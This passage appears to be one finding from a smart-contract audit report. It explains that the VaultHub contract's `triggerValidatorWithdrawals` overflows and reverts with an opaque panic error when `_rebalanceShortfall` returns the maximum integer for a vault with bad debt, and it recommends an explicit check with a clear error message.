In the `triggerValidatorWithdrawals` function from the `VaultHub` contract, a check prevents unhealthy vaults from partially withdrawing validators unless doing so would fully restore solvency. This is implemented via a call to `_rebalanceShortfall`, which computes the shortfall needed to rebalance the vault.

The returned amount is then added to the total of unsettled obligations to get the required minimum widrawing amount.

contracts/0.8.25/vaults/VaultHub.sol:L834

```
uint256 required = _totalUnsettledObligations(obligations) + _rebalanceShortfall(connection, record);
```

However, if the vault’s `totalValue` is lower than its `liabilityShares`, meaning that not any rebalance would recover healthiness of the vault, `_rebalanceShortfall` returns type(uint256).max.

contracts/0.8.25/vaults/VaultHub.sol:L1151-L1155

```
// Impossible to rebalance a vault with bad debt
if (liabilityShares_ >= sharesByTotalValue) {
    // return MAX_UINT_256
    return type(uint256).max;
}
```

If the obligations value is greater than zero, this addition overflows and causes the transaction to revert with a generic panic error.

While this behavior aligns with the protocol's intent—ensuring only full rebalancing can proceed—it results in an overflow revert, which is opaque to the user or operator.

Recommendation

Before using `_rebalanceShortfall` in any computation, explicitly check if it returns type(uint256).max. If so, revert with a clear error message.

Appendix 1 - Disclosure

A.1.1 Purpose of Reports

A.1.2 Links to Other Web Sites from This Web Site

A.1.3 Timeliness of Content